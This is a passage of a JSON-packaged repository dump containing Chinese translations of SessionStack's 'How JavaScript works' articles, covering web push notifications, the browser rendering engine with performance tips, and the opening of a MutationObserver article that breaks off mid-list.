});\n\n    if (permissionResult) {\n      permissionResult.then(resolve, reject);\n    }\n  })\n  .then(function(permissionResult) {\n    if (permissionResult !== 'granted') {\n      throw new Error('Permission not granted.');\n    }\n  });\n}\n```\n\n`Notification.requestPermission()` 调用将向用户显示以下提示：\n\n![](https://cdn-images-1.medium.com/max/800/1*xhB8ceUNM6vb8s0ZQKMHNg.png)\n\n一旦被授权、关闭或阻止，我们将得到字符串格式的结果：`‘granted’`、`‘default’` 或 `‘denied’`。\n\n记住，如果用户单击 `Block` 按钮，你的 Web 应用程序将无法再次请求用户的许可，直到他们通过更改权限状态手动 “unblock” 你的应用程序的限制。此选项隐藏在设置界面中。\n\n#### 用户订阅使用 PushManager\n\n一旦我们注册了 Service Worker 并获得许可权限，当你在注册你的 Service Worker 时，我们就可以通过调用 `registration.pushManager.subscribe()` 来订阅用户。\n\n整个片段可能如下所示（包括 Service Workder 注册）：\n\n```\nfunction subscribeUserToPush() {\n  return navigator.serviceWorker.register('service-worker.js')\n  .then(function(registration) {\n    var subscribeOptions = {\n      userVisibleOnly: true,\n      applicationServerKey: btoa(\n        'BEl62iUYgUivxIkv69yViEuiBIa-Ib9-SkvMeAtA3LFgDzkrxZJjSgSnfckjBJuBkr3qBUYIHBQFLXYp5Nksh8U'\n      )\n    };\n\n    return registration.pushManager.subscribe(subscribeOptions);\n  })\n  .then(function(pushSubscription) {\n    console.log('PushSubscription: ', JSON.stringify(pushSubscription));\n    return pushSubscription;\n  });\n}\n```\n\n`registration.pushManager.subscribe(options)` 接受一个 **options** 对象，它包含必要参数和可选参数：\n\n*   **userVisibleOnly**：布尔值指示返回的推送订阅将仅用于对用户可见的消息。它必须设置为 `true`，否则你会得到一个错误（这有历史原因）。\n*   **applicationServerKey**：Base64-encoded `DOMString` 或者 `ArrayBuffer` 包含推送服务器用来验证应用服务器的公钥。\n\n你的服务器需要生成一对**应用程序服务器密钥** —— 也称为 VAPID 密钥，对于你的服务器来说，它们是唯一的。它们是一对公钥和私钥。私钥被秘密存储在你的终端，而公钥则与客户端交换。这些密钥允许推送服务知道哪个应用服务器订阅了用户，并确保它是触发向该特定用户推送消息的相同服务器。\n\n你只需要为应用程序创建一次私钥/公钥对。做到这一点的方法是去完成这个 —— [https://web-push-codelab.glitch.me/](https://web-push-codelab.glitch.me/)。\n\n浏览器在订阅用户时将 `applicationServerKey`（公钥）传递给推送服务，这意味着推送服务可以将应用程序的公钥绑定到用户的 `PushSubscription` 中。\n\n情况是这样的：\n\n*   你的 web app 被加载时，你可以调用 `subscribe()` 来传入你的 server 密钥。\n*   浏览器向生成端点的推送服务发出请求，将此端点与该键关联并将端点返回给浏览器。\n*   浏览器将此端点添加到 `PushSubscription` 对象中，该对象通过 `subscribe()` 的 promise 返回。\n\n之后，无论你想何时发送推送消息，你都需要创建一个包含使用应用程序服务器的专用密钥签名信息的 **Authorization header**。当推送服务收到发送推送消息的请求时，它将通过查找已经连接到该特定端点的公钥来验证头（第二步）。\n\n#### 推送对象\n\n`PushSubscription` 包含用户设备发送推送消息所需的所有信息。就像这样： \n\n```\n{\n  \"endpoint\": \"https://domain.pushservice.com/some-id\",\n  \"keys\": {\n    \"p256dh\":\n\"BIPUL12DLfytvTajnryr3PJdAgXS3HGMlLqndGcJGabyhHheJYlNGCeXl1dn18gSJ1WArAPIxr4gK0_dQds4yiI=\",\n    \"auth\":\"FPssMOQPmLmXWmdSTdbKVw==\"\n  }\n}\n```\n\n`endpoint` 是推送服务的 URL。要触发推送消息，请对此 URL 发送 POST 请求。\n\n这里的 `keys` 对象的值是用来加密推送消息带过来的消息数据。\n\n一旦用户被订阅并且你有 `PushSubscription`，你需要将它发送到你的服务器。在那里（在服务器上），你将这个订阅存到数据库中，从今以后如果你要向该用户推送消息就使用它。\n\n![](https://cdn-images-1.medium.com/max/800/1*hTMGxzZrOmxxIfaQU7nKig.png)\n\n#### **发送推送消息**\n\n当你想向用户发送推送消息时，你首先需要一个推送服务。你要（通过 API 调用）告诉推送服务要发送哪些数据，谁来接收数据以及其他关于怎么发送数据的标准。通常，此 API 调用是在你服务器上完成的。 \n\n#### 推送服务\n\n推送服务是接收请求，验证请求并将推送消息传递给对应的浏览器。\n\n注意推送服务不是由你管理的 —— 它是第三方服务。你的服务器通过 API 与 推送服务进行通讯。推送服务的一个例子是 [Google 的 FCM](https://firebase.google.com/docs/cloud-messaging/)。\n\n推送服务处理所有繁重的任务，比如，如果浏览器处于脱机状态，推送服务会在发送相应消息之前对消息进行排队，等待浏览器的再次联机。\n\n每个浏览器都使用它们想要的任何推送服务，这是开发者无法控制的。\n\n然而所有的推送服务都具有相同的 API，因此在实现过程中不会有很大难度。\n\n为了获得 URL 来进行消息推送请求，你需要检查 `PushSubscription` 对象中存储的 `endpoint` 值。\n\n#### 推送服务 API\n\n推送服务 API 提供了一种将消息发送给用户的方式。API 基于 [Web 推送协议](https://tools.ietf.org/html/draft-ietf-webpush-protocol-12)，它是一种定义了如何对推送服务进行 API 调用的 IETF 标准。\n\n你使用推送消息发送的数据必须被加密。这样可以防止推送服务查看发送的数据。这很重要，因为浏览器是可以决定使用哪种推送服务的（它可能使用了一些不受信任且不够安全的服务器）。\n\n对于每个推送消息，你还可以提供下列说明：\n\n*   **TTL** —— 定义消息会在队列中等多久，超过这个时间消息就会被删除不做推送。。\n*   **优先级** —— 定义消息的优先级，因为推送服务只发送高优先级的消息，以此来保护用户设备的电池寿命。\n*   **Topic** —— 给推送消息一个主题，新消息会替换等待中的带相同主题的消息，这样一旦设备处于活动状态，用户将不会收到过时的消息。\n\n![](https://cdn-images-1.medium.com/max/800/1*PgclyCPqxWc1rENfAOesag.png)\n\n#### 浏览器中的推送事件\n\n如上所述，将消息发送到推送服务后，消息将处于挂机状态，直到发生下列情况之一：\n\n*   设备上线。\n*   消息由于 TTL 而在队列上过期。\n\n当推送服务传递消息时，浏览器会接收它，解密并在 Service Worker 中分发一个 `push` 事件。\n\n这里最好的是，即使是你的网页没有打开，浏览器也可以执行你的 Service Worker。将会发生下面的事情：\n\n*   推送消息到达解密它的浏览器\n*   浏览器唤醒 Service Worker\n*   `push` 事件被分发给 Service Worker\n\n设置推送事件监听器的代码应该与用 JavaScript 编写的任何其他事件监听器类似：\n\n```\nself.addEventListener('push', function(event) {\n  if (event.data) {\n    console.log('This push event has data: ', event.data.text());\n  } else {\n    console.log('This push event has no data.');\n  }\n});\n```\n\n需要了解 Service Worker 的一点是，你没有 Service Worker 代码运行时长的控制权。浏览器决定何时将其唤醒以及何时终止它。\n\n在 Service Workers 中，`event.waitUntil(promise)` 通知浏览器工作正在进行，直到 promise 确定为止，如果它想要完成该工作，它不应该终止 sercice worker。\n\n这里是处理 `push` 事件的例子：\n\n```\nself.addEventListener('push', function(event) {\n  var promise = self.registration.showNotification('Push notification!');\n\n  event.waitUntil(promise);\n});\n```\n\n调用 `self.registration.showNotification()` 会向用户发送一个通知，并返回一个 promise，只要消息展示了该 promise 就会触发 resolve。\n\n`showNotification(title, options)` 方法可以在视觉上进行调整以适应你的需求。`title` 参数是一个 `string`，而 options 是一个看起来像这样的对象：\n\n```\n{\n  \"//\": \"Visual Options\",\n  \"body\": \"<String>\",\n  \"icon\": \"<URL String>\",\n  \"image\": \"<URL String>\",\n  \"badge\": \"<URL String>\",\n  \"vibrate\": \"<Array of Integers>\",\n  \"sound\": \"<URL String>\",\n  \"dir\": \"<String of 'auto' | 'ltr' | 'rtl'>\",\n\n  \"//\": \"Behavioural Options\",\n  \"tag\": \"<String>\",\n  \"data\": \"<Anything>\",\n  \"requireInteraction\": \"<boolean>\",\n  \"renotify\": \"<Boolean>\",\n  \"silent\": \"<Boolean>\",\n\n  \"//\": \"Both Visual & Behavioural Options\",\n  \"actions\": \"<Array of Strings>\",\n\n  \"//\": \"Information Option. No visual affect.\",\n  \"timestamp\": \"<Long>\"\n}\n```\n\n你可以在这里阅读到每个选项内容的更多细节 — [https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration/showNotification](https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerRegistration/showNotification)。\n\n推送通知是一种可以在有紧急、重要和时间敏感的信息需要与用户进行分享的情况下，吸引用户注意的绝好方式。\n\n例如，我们在 SessionStack 计划利用推送通知来提醒用户，让他们知道自己的产品中何时发生崩溃、问题或异常。这会让用户立即知道出现了问题。然后他们可以利用我们的库所收集的数据（如 DOM 修改、用户交互、网络请求、未处理异常和调试信息），以视频的形式重现问题并查看最终发生在用户身上的一切事情。\n\n这个特性不仅可以帮助客户理解和重现任何问题，而且还可以在发生问题的第一时间通知客户。\n\n如果你想[尝试 SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=source&utm_content=javascript-series-web-workers-try-now)，这里有一个免费的计划。\n\n![](https://cdn-images-1.medium.com/max/800/1*YKYHB1gwcVKDgZtAEnJjMg.png)\n\n#### 资源\n\n*   [https://developers.google.com/web/fundamentals/push-notifications/](https://developers.google.com/web/fundamentals/push-notifications/)\n*   [https://developers.google.com/web/fundamentals/push-notifications/how-push-works](https://developers.google.com/web/fundamentals/push-notifications/how-push-works)\n*   [https://developers.google.com/web/fundamentals/push-notifications/subscribing-a-user](https://developers.google.com/web/fundamentals/push-notifications/subscribing-a-user)\n*   [https://developers.google.com/web/fundamentals/push-notifications/handling-messages](https://developers.google.com/web/fundamentals/push-notifications/handling-messages)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-javascript-works-the-rendering-engine-and-tips-to-optimize-its-performance.md",
    "content": "> * 原文地址：[How JavaScript works: the rendering engine and tips to optimize its performance](https://blog.sessionstack.com/how-javascript-works-the-rendering-engine-and-tips-to-optimize-its-performance-7b95553baeda)\n> * 原文作者：[Alexander Zlatkov](https://blog.sessionstack.com/@zlatkov?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-the-rendering-engine-and-tips-to-optimize-its-performance.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-the-rendering-engine-and-tips-to-optimize-its-performance.md)\n> * 译者：[stormluke](https://github.com/stormluke)\n> * 校对者：[allenlongbaobao](https://github.com/allenlongbaobao)、[Usey95](https://github.com/Usey95)\n\n# JavaScript 是如何工作的：渲染引擎和性能优化技巧\n\n这是探索 JavaScript 及其构建组件专题系列的第 11 篇。在识别和描述核心元素的过程中，我们分享了在构建 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=js-series-rendering-engine-intro) 时使用的一些经验法则。SessionStack 是一个需要鲁棒且高性能的 JavaScript 应用程序，它帮助用户实时查看和重现它们 Web 应用程序的缺陷。\n\n1. [[译] JavaScript 是如何工作的：对引擎、运行时、调用堆栈的概述](https://juejin.im/post/5a05b4576fb9a04519690d42)\n2. [[译] JavaScript 是如何工作的：在 V8 引擎里 5 个优化代码的技巧](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code.md)\n3. [[译] JavaScript 是如何工作的：内存管理 + 处理常见的4种内存泄漏](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-memory-management-how-to-handle-4-common-memory-leaks.md)\n4. [[译] JavaScript 是如何工作的: 事件循环和异步编程的崛起 + 5个如何更好的使用 async/await 编码的技巧](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-event-loop-and-the-rise-of-async-programming-5-ways-to-better-coding-with.md)\n5. [[译] JavaScript 是如何工作的：深入剖析 WebSockets 和拥有 SSE 技术 的 HTTP/2，以及如何在二者中做出正确的选择](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-deep-dive-into-websockets-and-http-2-with-sse-how-to-pick-the-right-path.md)\n6. [[译] JavaScript 是如何工作的：与 WebAssembly 一较高下 + 为何 WebAssembly 在某些情况下比 JavaScript 更为适用](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-a-comparison-with-webassembly-why-in-certain-cases-its-better-to-use-it.md)\n7. [[译] JavaScript 是如何工作的：Web Worker 的内部构造以及 5 种你应当使用它的场景](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-the-building-blocks-of-web-workers-5-cases-when-you-should-use-them.md)\n8. [[译] JavaScript 是如何工作的：Web Worker 生命周期及用例](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-service-workers-their-life-cycle-and-use-cases.md)\n9. [[译] JavaScript 是如何工作的：Web 推送通知的机制](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-the-mechanics-of-web-push-notifications.md)\n10. [[译] JavaScript 是如何工作的：用 MutationObserver 追踪 DOM 的变化](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-tracking-changes-in-the-dom-using-mutationobserver.md)\n\n当构建 Web 应用程序时，你不只是编写独立运行的 JavaScript 代码片段。你编写的 JavaScript 需要与环境进行交互。理解环境是如何工作的以及它是由什么组成的，你就能够构建更好的应用程序，并且能更好地处理应用程序发布后才会显现的潜在问题。\n\n![](https://cdn-images-1.medium.com/max/800/1*lMBu87MtEsVFqqbfMum-kA.png)\n\n那么，让我们看看浏览器的主要组件有哪些：\n\n* **用户界面**：包括地址栏、后退和前进按钮、书签菜单等。实际上，它包括了浏览器中显示的绝大部分，除了你看到的网页本身的那个窗口。\n* **浏览器引擎**：它处理用户界面和渲染引擎之间的交互。\n* **渲染引擎**：它负责显示网页。渲染引擎解析 HTML 和 CSS，并在屏幕上显示解析的内容。\n* **网络层**：诸如 XHR 请求之类的网络调用，通过对不同平台的不同的实现来完成，这些实现位于一个平台无关的接口之后。我们在本系列的[上一篇文章](https://blog.sessionstack.com/how-modern-web-browsers-accelerate-performance-the-networking-layer-f6efaf7bfcf4)中更详细地讨论了网络层。\n* **UI 后端**：它用于绘制核心组件（widget），例如复选框和窗口。这个后端暴露了一个平台无关的通用接口。它使用下层的操作系统提供的 UI 方法。\n* **JavaScript 引擎**：我们在[上一篇文章](https://blog.sessionstack.com/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write -optimized-code-ac089e62b12e)中详细介绍了这一主题。基本上，这是 JavaScript 执行的地方。\n* **数据持久化层**：你的应用可能需要在本地存储所有数据。其支持的存储机制包括 [localStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage)、[indexDB](https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API)、[WebSQL](https://en.wikipedia.org/wiki/Web_SQL_Database) 和 [FileSystem](https://developer.mozilla.org/en-US/docs/Web/API/FileSystem)。\n\n在这篇文章中，我们将关注渲染引擎，因为它负责处理 HTML 和 CSS 的解析和可视化，这是大多数 JavaScript 应用程序不断与之交互的地方。\n\n#### 渲染引擎概述\n\n渲染引擎的主要职责是在浏览器屏幕上显示所请求的页面。\n\n渲染引擎可以显示 HTML / XML 文档和图像。如果你使用其他插件，它还可以显示不同类型的文档，例如 PDF。\n\n#### 不同的渲染引擎\n\n与 JavaScript 引擎类似，不同的浏览器也使用不同的渲染引擎。常见的有这些：\n\n* **Gecko** — Firefox\n* **WebKit** — Safari\n* **Blink** — Chrome，Opera (版本 15 之后)\n\n#### 渲染的过程\n\n渲染引擎从网络层接收所请求文档的内容。\n\n![](https://cdn-images-1.medium.com/max/800/1*9b1uEMcZLWuGPuYcIn7ZXQ.png)\n\n#### 构建 DOM 树\n\n渲染引擎的第一步是解析 HTML 文档并将解析出的元素转换为 **DOM 树** 中实际的 [DOM](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Introduction) 节点。\n\n假设你有以下文字输入：\n\n``` html\n<html>\n  <head>\n    <meta charset=\"UTF-8\">\n    <link rel=\"stylesheet\" type=\"text/css\" href=\"theme.css\">\n  </head>\n  <body>\n    <p> Hello, <span> friend! </span> </p>\n    <div> \n      <img src=\"smiley.gif\" alt=\"Smiley face\" height=\"42\" width=\"42\">\n    </div>\n  </body>\n</html>\n```\n\n这个 HTML 的 DOM 树如下所示：\n\n![](https://cdn-images-1.medium.com/max/800/1*ezFoXqgf91umls9FqO0HsQ.png)\n\n基本上，每个元素都作为它所包含元素的父节点，这个结构是递归的。\n\n#### 构建 CSSOM 树\n\nCSSOM 指 **CSS 对象模型**。当浏览器构建页面的 DOM 时，它在 `head` 中遇到了一个引用外部 `theme.css` CSS 样式表的 `link` 标签。浏览器预计到它可能需要该资源来呈现页面，所以它立即发出请求。让我们假设 `theme.css` 文件包含以下内容：\n\n```css\nbody { \n  font-size: 16px;\n}\n\np { \n  font-weight: bold; \n}\n\nspan { \n  color: red; \n}\n\np span { \n  display: none; \n}\n\nimg { \n  float: right; \n}\n```\n\n与 HTML 一样，引擎需要将 CSS 转换为浏览器可以使用的东西 —— CSSOM。以下是 CSSOM 树的样子：\n\n![](https://cdn-images-1.medium.com/max/800/1*5YU1su2mdzHEQ5iDisKUyw.png)\n\n你知道为什么 CSSOM 是树型结构吗？当计算页面上对象的最终样式集时，浏览器以适用于该节点的最一般规则开始（例如，如果它是 body 元素的子元素，则应用 body 的所有样式），然后递归地细化，通过应用更具体的规则来计算样式。\n\n让我们来看看具体的例子。包含在 `body` 元素内的 `span` 标签中的任何文本的字体大小均为 16 像素，并且为红色。这些样式是从 `body` 元素继承而来的。 如果一个 `span` 元素是一个 `p` 元素的子元素，那么它的内容就不会被显示，因为它被应用了更具体的样式（`display: none`）。\n\n另外请注意，上面的树不是完整的 CSSOM 树，只显示了我们决定在样式表中重写的样式。每个浏览器都提供了一组默认的样式，也称为**「用户代理样式」**——这是我们在未明确指定任何样式时看到的样式。我们的样式会覆盖这些默认值。\n\n#### 构建渲染树\n\nHTML 中的视图指令与 CSSOM 树中的样式数据结合在一起用来创建**渲染树**。\n\n你可能会问什么是渲染树。渲染树是一颗由可视化元素以它们在屏幕上显示的顺序而构成的树型结构。它是 HTML 和相应的 CSS 的可视化表示。此树的目的是为了以正确的顺序绘制内容。\n\n渲染树中的节点被称为 Webkit 中的渲染器或渲染对象。\n\n这就是上述 DOM 和 CSSOM 树的渲染器树的样子：\n\n![](https://cdn-images-1.medium.com/max/800/1*WHR_08AD8APDITQ-4CFDgg.png)\n\n为了构建渲染树，浏览器大致做了如下工作：\n\n* 从 DOM 树的根开始，浏览器遍历每个可见节点。某些节点是不可见的（例如 script、meta 等），并且由于它们不需要渲染而被忽略。一些通过 CSS 隐藏的节点也从渲染树中省略。例如 span 节点 —— 在上面的例子中，它并不存在于渲染树中，因为我们明确地其上设置了 `display: none` 属性。\n* 对于每个可见节点，浏览器找到适当的 CSSOM 规则并应用它们。\n* 浏览器输出带有内容及其计算出的样式的可见节点\n\n你可以在这里查看 RenderObject 的源代码（在 WebKit 中）：[https://github.com/WebKit/webkit/blob/fde57e46b1f8d7dde4b2006aaf7ebe5a09a6984b/Source/WebCore/rendering/RenderObject.h](https://github.com/WebKit/webkit/blob/fde57e46b1f8d7dde4b2006aaf7ebe5a09a6984b/Source/WebCore/rendering/RenderObject.h)\n\n我们来看看这个类的一些核心内容：\n\n```cpp\nclass RenderObject : public CachedImageClient {\n  // Repaint the entire object.  Called when, e.g., the color of a border changes, or when a border\n  // style changes.\n  \n  Node* node() const { ... }\n  \n  RenderStyle* style;  // the computed style\n  const RenderStyle& style() const;\n  \n  ...\n}\n```\n\n每个渲染器代表一个矩形区域，通常对应于一个节点的 CSS 盒模型。它包含几何信息，例如宽度、高度和位置。\n\n#### 渲染树的布局\n\n当渲染器被创建并添加到树中时，它并没有位置和大小。计算这些值的过程称为布局。\n\nHTML 使用基于流的布局模型，这意味着大部分时间内它可以在一次遍历中（single pass）计算出布局。坐标系是相对于根渲染器的，使用左上原点坐标。\n\n布局是一个递归过程 —— 它从根渲染器开始，对应于 HTML 文档的 `<html>` 元素，通过部分或整个渲染器的层次结构递归地为每个需要布局的渲染器计算布局信息。\n\n根渲染器的位置是 `0,0`，并且其尺寸为浏览器窗口（也称为视口）的可见部分的尺寸。\n\n开始布局过程意味着给出每个节点它应该出现在屏幕上的确切坐标。\n\n#### 绘制渲染树\n\n在这个阶段，浏览器遍历渲染器树，调用渲染器的 `paint()` 方法在屏幕上显示内容。\n\n绘图可以是全局的或增量式的（与布局类似）：\n\n* **全局** —— 整棵树被重画\n* **增量式** —— 只有一些渲染器以不影响整个树的方式进行变更。渲染器在屏幕上标记其矩形区域无效，这会导致操作系统将其视为需要重绘并生成 `paint` 事件的区域。操作系统通过将几个区域合并为一个区域的智能方式来完成绘图。\n\n一般来说，了解绘图是一个渐进的过程是很重要的。为了更好的用户体验，渲染引擎会尝试尽快在屏幕上显示内容。它不会等到所有的 HTML 被分析完毕才开始构建和布置渲染树。一小部分内容先被解析并显示，同时一边从网络获取剩下的内容一边渐进地渲染。\n\n#### 处理脚本和样式表的顺序\n\n当解析器到达 `<script>` 标签时，脚本将被立即解析并执行。文档解析将会被暂停，直到脚本执行完毕。这意味着该过程是**同步**的。\n\n如果脚本是外部的，那么它首先必须从网络获取（也是同步的）。所有解析都会停止，直到网络请求完成。\n\nHTML5 添加了一个选项，可以将脚本标记为异步，此时脚本被其他线程解析和执行。\n\n#### 优化渲染性能\n\n如果你想优化你的应用，那么你需要关注五个主要方面。这些是您可以控制的地方：\n\n1. **JavaScript** —— 在之前的文章中，我们介绍了关于编写高性能代码的主题，这些代码不会阻塞 UI，并且内存效率高等等。当涉及渲染时，我们需要考虑 JavaScript 代码与页面上 DOM 元素交互的方式。JavaScript 可以在 UI 中产生大量的更新，尤其是在 SPA 中。\n2. **样式计算** —— 这是基于匹配选择器确定哪个 CSS 规则适用于哪个元素的过程。一旦定义了规则，就会应用这些规则，并计算出每个元素的最终样式。\n3. **布局** —— 一旦浏览器知道哪些规则适用于元素，就可以开始计算后者占用的空间以及它在浏览器屏幕上的位置。Web 的布局模型定义了一个元素可以影响其他元素。例如，`<body>` 的宽度会影响子元素的宽度等等。这一切都意味着布局过程是计算密集型的。该绘图是在多个图层完成的。\n4. **绘图** —— 这里开始填充实际的像素。该过程包括绘制文本、颜色、图像、边框、阴影等 —— 每个元素的每个视觉部分。\n5. **合成** —— 由于页面部件被划分为多层，因此需要按照正确的顺序将其绘制到屏幕上，以便正确地渲染页面。这非常重要，特别是对于重叠元素来说。\n\n#### 优化你的 JavaScript\n\nJavaScript 经常触发浏览器中的视觉变化，构建 SPA 时更是如此。\n\n以下是关于可以优化 JavaScript 哪些部分来改善渲染性能的一些小提示：\n\n* 避免使用 `setTimeout` 或 `setInterval` 进行视图更新。这些将在帧中某个不确定的时间点上调用 `callback`，可能在最后。我们想要做的是在帧开始时触发视觉变化而不是错过它。\n* 将长时间运行的 JavaScript 计算任务移到 Web Workers 上，像我们之前[讨论过的](https://blog.sessionstack.com/how-javascript-works-the-building-blocks-of-web-workers-5-cases-when-you-should-use-them-a547c0757f6a?source=---------3----------------) 那样\n* 使用微任务在多个帧中变更 DOM。这是为了处理在 Web Worker 中的任务需要访问 DOM，而 Web Worker 又不允许访问 DOM 的情况。就是说你可以将一个大任务分解为小任务，并根据任务的性质在 `requestAnimationFrame`、`setTimeout` 或 `setInterval` 中运行它们。\n\n#### 优化你的 CSS\n\n通过添加和删除元素、更改属性等来修改 DOM 会导致浏览器重新计算元素样式，并且在很多情况下还会重新布局整个页面或至少其中的一部分。\n\n要优化渲染性能，请考虑以下方法：\n\n* 减少选择器的复杂性。相对于构建样式本身的工作，复杂的选择器可能会让计算元素样式所需的时间增加 50％。\n* 减少必须计算样式的元素的数量。本质上，直接对几个元素进行样式更改，而不是使整个页面无效。\n\n#### 优化布局\n\n布局的重新计算会对浏览器造成很大压力。请考虑下面的优化:\n\n* 尽可能减少布局的数量。当你更改样式时，浏览器将检查是否需要重新计算布局。对属性的更改，如宽度、高度、左、上和其他与几何有关的属性，都需要重新布局。所以，尽量避免改变它们。\n* 尽量使用 `flexbox` 而不是老的布局模型。它运行速度更快，可为你的应用程序创造巨大的性能优势。\n* 避免强制同步布局。需要注意的是，在 JavaScript 运行时，前一帧中的所有旧布局值都是已知的并且可以查询。如果你查询 `box.offsetHeight` 是没问题的。 但是，如果你在查询元素之前更改了元素的样式（例如，动态向元素添加一些 CSS 类），浏览器必须先应用样式更改并执行布局过程。这可能非常耗时且耗费资源，因此请尽可能避免。\n\n**优化绘图**\n\n这通常是所有任务中运行时间最长的，因此尽可能避免这种情况非常重要。 以下是我们可以做的事情：\n\n* 除了变换（transform）和透明度之外，改变其他任何属性都会触发重新绘图，请谨慎使用。\n* 如果触发了布局，那也会触发绘图，因为更改布局会导致元素的视觉效果也改变。\n* 通过图层提升和动画编排来减少重绘区域。\n\n渲染是 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=js-series-rendering-engine-outro) 运行的重点之一。当用户浏览你的 web 应用遇到问题时，SessionStack 必须将这些遇到的问题重建成一个视频。为了做到这点，SessionStack 仅利用我们的库收集到数据：用户事件、DOM 更改、网络请求、异常和调试消息等。我们的播放器经过高度优化，能够按顺序正确呈现和使用所有收集到的数据，从视觉和技术两方面为你提供用户在浏览器中发生的一切的像素级完美模拟。\n\n如果你想试试看，这里可以免费[尝试 SessionStack](https://www.sessionstack.com/signup/）。\n\n![](https://cdn-images-1.medium.com/max/800/0*h2Z_BnDiWfVhgcEZ.)\n\n#### 资源\n\n* [https://developers.google.com/web/fundamentals/performance/critical-rendering-path/constructing-the-object-model](https://developers.google.com/web/fundamentals/performance/critical-rendering-path/constructing-the-object-model)\n* [https://developers.google.com/web/fundamentals/performance/rendering/reduce-the-scope-and-complexity-of-style-calculations](https://developers.google.com/web/fundamentals/performance/rendering/reduce-the-scope-and-complexity-of-style-calculations)\n* [https://www.html5rocks.com/en/tutorials/internals/howbrowserswork/#The_parsing_algorithm](https://www.html5rocks.com/en/tutorials/internals/howbrowserswork/#The_parsing_algorithm)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-javascript-works-tracking-changes-in-the-dom-using-mutationobserver.md",
    "content": "> * 原文地址：[How JavaScript works: tracking changes in the DOM using MutationObserver](https://blog.sessionstack.com/how-javascript-works-tracking-changes-in-the-dom-using-mutationobserver-86adc7446401)\n> * 原文作者：[Alexander Zlatkov](https://blog.sessionstack.com/@zlatkov?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-tracking-changes-in-the-dom-using-mutationobserver.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-javascript-works-tracking-changes-in-the-dom-using-mutationobserver.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[jasonxia23](https://github.com/jasonxia23)\n\n# JavaScript 是如何工作的：用 MutationObserver 追踪 DOM 的变化\n\n本系列专门研究 JavaScript 及其构建组件，这是第 10 期。在识别和描述核心元素的过程中，我们也分享了一些构建 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=javascript-series-push-notifications-intro) 的重要法则，SessionStack 是一个 JavaScript 应用，为了帮助用户实时查看和再现他们的 web 应用程序缺陷，它需要健壮并且高性能。\n\n![](https://cdn-images-1.medium.com/max/800/0*mPXf5zRCdEQ42Hn0.)\n\n1. [[译] JavaScript 是如何工作的：对引擎、运行时、调用堆栈的概述](https://juejin.im/post/5a05b4576fb9a04519690d42)\n2. [[译] JavaScript 是如何工作的：在 V8 引擎里 5 个优化代码的技巧](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code.md)\n3. [[译] JavaScript 是如何工作的：内存管理 + 处理常见的4种内存泄漏](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-memory-management-how-to-handle-4-common-memory-leaks.md)\n4. [[译] JavaScript 是如何工作的: 事件循环和异步编程的崛起 + 5个如何更好的使用 async/await 编码的技巧](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-event-loop-and-the-rise-of-async-programming-5-ways-to-better-coding-with.md)\n5. [[译] JavaScript 是如何工作的：深入剖析 WebSockets 和拥有 SSE 技术 的 